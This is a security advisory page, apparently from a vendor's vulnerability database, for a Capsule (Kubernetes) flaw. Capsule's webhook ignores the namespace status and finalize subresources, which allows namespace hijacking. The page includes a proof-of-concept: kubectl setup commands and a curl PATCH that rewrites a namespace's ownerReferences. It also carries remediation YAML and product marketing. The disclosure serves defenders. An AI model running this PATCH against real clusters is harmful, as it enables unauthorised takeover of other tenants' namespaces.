Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-2ww6-hf35-mfjm

LOW

Capsule Namespace Hijacking via subresource

Also known asCVE-2026-30963GO-2026-5043
Published
May 28, 2026
Updated
Jun 17, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk10th percentile0.00%
0.00%0.23%0.47%0.70%0.2%0.2%Jul 26Jul 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/projectcapsule/capsule

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.

Details

When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.

PoC

Open two terminals and create two tenants:

kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: oil
spec:
  owners:
  - name: alice
    kind: User
EOF

./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: attacker
spec:
  owners:
  - name: attacker
    kind: User
EOF

./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig

When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:

kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker

The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:

curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
    {
      "op": "replace",
      "path": "/metadata/ownerReferences",
      "value": [
        {
          "apiVersion": "capsule.clastix.io/v1beta2",
            "kind": "Tenant",
            "name": "attacker",
            "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
        }
      ]
    }
  ]'

Impact

hijack namespace

Remediation

To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:

    resources:
    - namespaces
    - namespaces/status
	- namespace/finalize

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/projectcapsule/capsuleall versions0.13.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/projectcapsule/capsule to 0.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2ww6-hf35-mfjm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-2ww6-hf35-mfjm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-2ww6-hf35-mfjm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. ### Details When Capsule uses a
O3 Security · Impact-Aware SCA

Is GHSA-2ww6-hf35-mfjm in your dependencies?

O3 detects GHSA-2ww6-hf35-mfjm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.